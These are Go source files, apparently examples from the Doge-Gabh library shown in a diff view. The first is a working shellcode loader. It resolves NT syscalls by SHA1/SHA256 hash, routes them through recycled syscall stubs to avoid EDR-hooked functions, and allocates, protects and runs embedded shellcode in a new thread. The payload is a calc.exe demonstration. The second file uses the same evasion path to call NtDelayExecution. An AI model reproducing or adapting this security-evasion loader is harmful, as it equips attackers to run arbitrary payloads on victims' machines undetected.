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package main | ||
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import ( | ||
"crypto/sha1" | ||
"crypto/sha256" | ||
"encoding/hex" | ||
"fmt" | ||
"github.com/timwhitez/Doge-Gabh/pkg/Gabh" | ||
_ "runtime/cgo" | ||
"syscall" | ||
"unsafe" | ||
) | ||
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var shellcode = []byte{ | ||
//calc.exe https://github.com/peterferrie/win-exec-calc-shellcode | ||
0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63, | ||
0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51, | ||
0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b, | ||
0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18, | ||
0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29, | ||
0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, | ||
0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, | ||
0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, | ||
0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, | ||
0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, | ||
0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, | ||
0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, | ||
0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, | ||
0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, | ||
0xd7, | ||
} | ||
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//from https://github.com/Mr-Un1k0d3r/EDRs | ||
var hookedapi =[]string{"NtAddBootEntry","NtAdjustPrivilegesToken","NtAlertResumeThread","NtAllocateVirtualMemory","NtAllocateVirtualMemoryEx","NtAlpcConnectPort","NtAreMappedFilesTheSame","NtClose","NtCreateFile","NtCreateKey","NtCreateMutant","NtCreateProcess","NtCreateProcessEx","NtCreateSection","NtCreateThread","NtCreateThreadEx","NtCreateUserProcess","NtDelayExecution","NtDeleteBootEntry","NtDeleteFile","NtDeleteKey","NtDeleteValueKey","NtDeviceIoControlFile","NtDuplicateObject","NtFreeVirtualMemory","NtGdiBitBlt","NtGetContextThread","NtLoadDriver","NtMapUserPhysicalPages","NtMapViewOfSection","NtMapViewOfSectionEx","NtModifyBootEntry","NtOpenCreateFile","NtOpenFile","NtOpenKey","NtOpenKeyEx","NtOpenProcess","NtOpenProcessToken","NtOpenProcessTokenEx","NtOpenThreadToken","NtOpenThreadTokenEx","NtProtectVirtualMemory","NtQueryAttributesFile","NtQueryFullAttributesFile","NtQueryInformationProcess","NtQueryInformationThread","NtQueryInformationTokenTokenUser","NtQuerySystemInformation","NtQuerySystemInformationEx","NtQueryVirtualMemory","NtQueueApcThread","NtQueueApcThreadEx","NtQueueApcThreadEx2","NtReadVirtualMemory","NtRenameKey","NtResumeThread","NtSetContextThread","NtSetInformationFile","NtSetInformationProcess","NtSetInformationProcessCriticalProcess","NtSetInformationThread","NtSetInformationThreadCriticalThread","NtSetInformationThreadHideFromDebugger","NtSetInformationThreadImpersonationToken","NtSetInformationThreadWow64Context","NtSetInformationVirtualMemory","NtSetValueKey","NtSuspendThread","NtSystemDebugControl","NtTerminateProcess","NtTerminateThread","NtUnmapViewOfSection","NtUnmapViewOfSectionEx","NtUserGetAsyncKeyState","NtUserGetClipboardData","NtUserSetWindowsHookEx","NtWriteFile","NtWriteVirtualMemory","ZwAlertResumeThread","ZwAllocateVirtualMemory","ZwAllocateVirtualMemoryEx","ZwAlpcConnectPort","ZwAreMappedFilesTheSame","ZwClose","ZwCreateFile","ZwCreateKey","ZwCreateProcess","ZwCreateProcessEx","ZwCreateSection","ZwCreateThread","ZwCreateThreadEx","ZwCreateUserProcess","ZwDeleteFile","ZwDeleteKey","ZwDeleteValueKey","ZwDeviceIoControlFile","ZwDuplicateObject","ZwFreeVirtualMemory","ZwGetContextThread","ZwLoadDriver","ZwMapUserPhysicalPages","ZwMapViewOfSection","ZwMapViewOfSectionEx","ZwOpenFile","ZwOpenKey","ZwOpenKeyEx","ZwOpenProcess","ZwProtectVirtualMemory","ZwQueryAttributesFile","ZwQueryFullAttributesFile","ZwQueryInformationProcess","ZwQueryInformationThread","ZwQuerySystemInformation","ZwQuerySystemInformationEx","ZwQueryVirtualMemory","ZwQueueApcThread","ZwQueueApcThreadEx","ZwReadVirtualMemory","ZwRenameKey","ZwResumeThread","ZwSetContextThread","ZwSetInformationFile","ZwSetInformationProcess","ZwSetInformationThread","ZwSetValueKey","ZwSuspendThread","ZwTerminateProcess","ZwTerminateThread","ZwUnmapViewOfSection","ZwUnmapViewOfSectionEx","ZwWriteFile","ZwWriteVirtualMemory"} | ||
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var hashhooked []string | ||
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func main() { | ||
for _,v := range hookedapi{ | ||
hashhooked = append(hashhooked,str2sha1(v)) | ||
//it also support lower case | ||
//hashhooked = append(hashhooked,str2sha1(strings.ToLower(v))) | ||
} | ||
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var thisThread = uintptr(0xffffffffffffffff) | ||
alloc, e := gabh.MemHgate(str2sha1("NtAllocateVirtualMemory"), str2sha1) | ||
if e != nil { | ||
panic(e) | ||
} | ||
protect, e := gabh.MemHgate(Sha256Hex("NtProtectVirtualMemory"), Sha256Hex) | ||
if e != nil { | ||
panic(e) | ||
} | ||
createthread, e := gabh.MemHgate(Sha256Hex("NtCreateThreadEx"), Sha256Hex) | ||
if e != nil { | ||
panic(e) | ||
} | ||
pWaitForSingleObject := syscall.NewLazyDLL("kernel32.dll").NewProc("WaitForSingleObject").Addr() | ||
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createThread(shellcode, thisThread, alloc, protect, createthread, uint64(pWaitForSingleObject)) | ||
} | ||
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func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16, pWaitForSingleObject uint64) { | ||
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const ( | ||
memCommit = uintptr(0x00001000) | ||
memreserve = uintptr(0x00002000) | ||
) | ||
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var baseA uintptr | ||
regionsize := uintptr(len(shellcode)) | ||
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//callAddr := recycled.GetCall("",nil,nil) | ||
//callAddr := recycled.GetCall("NtDelayExecution",nil,str2sha1) | ||
callAddr := gabh.GetRecyCall("",hashhooked,str2sha1) | ||
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r1, r := gabh.ReCycall( | ||
NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory | ||
callAddr, | ||
handle, | ||
uintptr(unsafe.Pointer(&baseA)), | ||
0, | ||
uintptr(unsafe.Pointer(®ionsize)), | ||
uintptr(memCommit|memreserve), | ||
syscall.PAGE_READWRITE, | ||
) | ||
if r != nil { | ||
fmt.Printf("1 %s %x\n", r, r1) | ||
return | ||
} | ||
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//copy shellcode | ||
memcpy(baseA, shellcode) | ||
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var oldprotect uintptr | ||
callAddr = gabh.GetRecyCall("NtDelayExecution",nil,nil) | ||
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r1, r = gabh.ReCycall( | ||
NtProtectVirtualMemorySysid, //NtProtectVirtualMemory | ||
callAddr, | ||
handle, | ||
uintptr(unsafe.Pointer(&baseA)), | ||
uintptr(unsafe.Pointer(®ionsize)), | ||
syscall.PAGE_EXECUTE_READ, | ||
uintptr(unsafe.Pointer(&oldprotect)), | ||
) | ||
if r != nil { | ||
fmt.Printf("1 %s %x\n", r, r1) | ||
return | ||
} | ||
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var hhosthread uintptr | ||
callAddr = gabh.GetRecyCall("",nil,nil) | ||
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r1, r = gabh.ReCycall( | ||
NtCreateThreadExSysid, //NtCreateThreadEx | ||
callAddr, | ||
uintptr(unsafe.Pointer(&hhosthread)), //hthread | ||
0x1FFFFF, //desiredaccess | ||
0, //objattributes | ||
handle, //processhandle | ||
baseA, //lpstartaddress | ||
0, //lpparam | ||
uintptr(0), //createsuspended | ||
0, //zerobits | ||
0, //sizeofstackcommit | ||
0, //sizeofstackreserve | ||
0, //lpbytesbuffer | ||
) | ||
syscall.Syscall(uintptr(pWaitForSingleObject), 2, handle, 0xffffffff, 0) | ||
if r != nil { | ||
fmt.Printf("1 %s %x\n", r, r1) | ||
return | ||
} | ||
} | ||
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func memcpy(base uintptr, buf []byte) { | ||
for i := 0; i < len(buf); i++ { | ||
*(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i] | ||
} | ||
} | ||
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func str2sha1(s string) string { | ||
h := sha1.New() | ||
h.Write([]byte(s)) | ||
bs := h.Sum(nil) | ||
return fmt.Sprintf("%x", bs) | ||
} | ||
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func Sha256Hex(s string) string { | ||
return hex.EncodeToString(Sha256([]byte(s))) | ||
} | ||
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func Sha256(data []byte) []byte { | ||
digest := sha256.New() | ||
digest.Write(data) | ||
return digest.Sum(nil) | ||
} |
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Original file line number | Diff line number | Diff line change |
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@@ -0,0 +1,67 @@ | ||
package main | ||
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import ( | ||
"crypto/sha1" | ||
"fmt" | ||
gabh "github.com/timwhitez/Doge-Gabh/pkg/Gabh" | ||
"unsafe" | ||
) | ||
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func main() { | ||
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//from https://github.com/Mr-Un1k0d3r/EDRs | ||
var hookedapi =[]string{"NtAddBootEntry","NtAdjustPrivilegesToken","NtAlertResumeThread","NtAllocateVirtualMemory","NtAllocateVirtualMemoryEx","NtAlpcConnectPort","NtAreMappedFilesTheSame","NtClose","NtCreateFile","NtCreateKey","NtCreateMutant","NtCreateProcess","NtCreateProcessEx","NtCreateSection","NtCreateThread","NtCreateThreadEx","NtCreateUserProcess","NtDelayExecution","NtDeleteBootEntry","NtDeleteFile","NtDeleteKey","NtDeleteValueKey","NtDeviceIoControlFile","NtDuplicateObject","NtFreeVirtualMemory","NtGdiBitBlt","NtGetContextThread","NtLoadDriver","NtMapUserPhysicalPages","NtMapViewOfSection","NtMapViewOfSectionEx","NtModifyBootEntry","NtOpenCreateFile","NtOpenFile","NtOpenKey","NtOpenKeyEx","NtOpenProcess","NtOpenProcessToken","NtOpenProcessTokenEx","NtOpenThreadToken","NtOpenThreadTokenEx","NtProtectVirtualMemory","NtQueryAttributesFile","NtQueryFullAttributesFile","NtQueryInformationProcess","NtQueryInformationThread","NtQueryInformationTokenTokenUser","NtQuerySystemInformation","NtQuerySystemInformationEx","NtQueryVirtualMemory","NtQueueApcThread","NtQueueApcThreadEx","NtQueueApcThreadEx2","NtReadVirtualMemory","NtRenameKey","NtResumeThread","NtSetContextThread","NtSetInformationFile","NtSetInformationProcess","NtSetInformationProcessCriticalProcess","NtSetInformationThread","NtSetInformationThreadCriticalThread","NtSetInformationThreadHideFromDebugger","NtSetInformationThreadImpersonationToken","NtSetInformationThreadWow64Context","NtSetInformationVirtualMemory","NtSetValueKey","NtSuspendThread","NtSystemDebugControl","NtTerminateProcess","NtTerminateThread","NtUnmapViewOfSection","NtUnmapViewOfSectionEx","NtUserGetAsyncKeyState","NtUserGetClipboardData","NtUserSetWindowsHookEx","NtWriteFile","NtWriteVirtualMemory","ZwAlertResumeThread","ZwAllocateVirtualMemory","ZwAllocateVirtualMemoryEx","ZwAlpcConnectPort","ZwAreMappedFilesTheSame","ZwClose","ZwCreateFile","ZwCreateKey","ZwCreateProcess","ZwCreateProcessEx","ZwCreateSection","ZwCreateThread","ZwCreateThreadEx","ZwCreateUserProcess","ZwDeleteFile","ZwDeleteKey","ZwDeleteValueKey","ZwDeviceIoControlFile","ZwDuplicateObject","ZwFreeVirtualMemory","ZwGetContextThread","ZwLoadDriver","ZwMapUserPhysicalPages","ZwMapViewOfSection","ZwMapViewOfSectionEx","ZwOpenFile","ZwOpenKey","ZwOpenKeyEx","ZwOpenProcess","ZwProtectVirtualMemory","ZwQueryAttributesFile","ZwQueryFullAttributesFile","ZwQueryInformationProcess","ZwQueryInformationThread","ZwQuerySystemInformation","ZwQuerySystemInformationEx","ZwQueryVirtualMemory","ZwQueueApcThread","ZwQueueApcThreadEx","ZwReadVirtualMemory","ZwRenameKey","ZwResumeThread","ZwSetContextThread","ZwSetInformationFile","ZwSetInformationProcess","ZwSetInformationThread","ZwSetValueKey","ZwSuspendThread","ZwTerminateProcess","ZwTerminateThread","ZwUnmapViewOfSection","ZwUnmapViewOfSectionEx","ZwWriteFile","ZwWriteVirtualMemory"} | ||
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var hashhooked []string | ||
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for _,v := range hookedapi{ | ||
hashhooked = append(hashhooked,str2sha1(v)) | ||
//it also support lower case | ||
//hashhooked = append(hashhooked,str2sha1(strings.ToLower(v))) | ||
} | ||
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//NtDelayExecution HellsGate | ||
sleep1, e := gabh.MemHgate("84804f99e2c7ab8aee611d256a085cf4879c4be8", str2sha1) | ||
if e != nil { | ||
panic(e) | ||
} | ||
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fmt.Printf("%s: %x\n", "NtDelayExecution Sysid", sleep1) | ||
times := -(5000 * 10000) | ||
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//hellsgate syscall | ||
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//fmt.Print("Press 'Enter' to continue...") | ||
//bufio.NewReader(os.Stdin).ReadBytes('\n') | ||
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//hash("NtDelayExecution") | ||
//strings.ToLower(hash("NtDelayExecution")) | ||
//hash(strings.ToLower("NtDelayExecution")) | ||
//strings.ToLower(hash(strings.ToLower("NtDelayExecution"))) | ||
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//callAddr := recycled.GetCall("",nil,nil) | ||
//callAddr := recycled.GetCall(str2sha1("NtDelayExecution"),nil,str2sha1) | ||
callAddr := gabh.GetRecyCall("",hashhooked,str2sha1) | ||
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r, e1 := gabh.ReCycall(sleep1, callAddr, 0, uintptr(unsafe.Pointer(×))) | ||
if e1 != nil{ | ||
fmt.Println(r) | ||
fmt.Println(e1) | ||
} | ||
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} | ||
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func str2sha1(s string) string { | ||
h := sha1.New() | ||
h.Write([]byte(s)) | ||
bs := h.Sum(nil) | ||
return fmt.Sprintf("%x", bs) | ||
} |